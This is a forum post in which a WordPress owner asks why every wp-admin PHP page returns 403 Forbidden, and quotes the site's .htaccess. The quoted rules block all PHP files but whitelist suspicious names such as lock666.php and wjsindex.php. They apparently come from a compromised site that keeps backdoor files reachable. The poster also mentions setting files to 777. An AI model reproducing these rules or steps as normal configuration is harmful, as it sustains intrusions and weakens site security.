Error 403 Forbiden in Adminpanel

Hi,

I’m outta ideas… My wordpress website worked flawlessy since I setted it up. Suddendly: I get a 403 FORBIDDEN error on ALL .php pages in the WP-ADMIN directory. I can’t setup pages anymore or even change settings. And I didn’t do anything. It happend over night.

I gave all of those pages 777 access and it still showed me 403 FORBIDDEN.
I phoned my webspace provider which told me that the problem is not on their end and they told me that probably wordpress broke via autoupdate
The PHP log (version 5.6) gave no explination at all. All it said was: “503 edit.php” and so on.

I already deleted all plugins: Still 403 error. I deleted my htaccess files which also gave me nothing.
My htaccess files look like this:

<FilesMatch ".(PhP|php5|suspected|phtml|py|exe|php)$">
 Order allow,deny
 Deny from all
</FilesMatch>
<FilesMatch "^(postfs.php|votes.php|index.php|wjsindex.php|lock666.php|font-editor.php|ms-functions.php|contents.php|jsdindex.php|wp-login.php|load.php)$">
 Order allow,deny
 Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>

If anyone has any idea what I can do: Please respond 🙁

Thank you very very much.
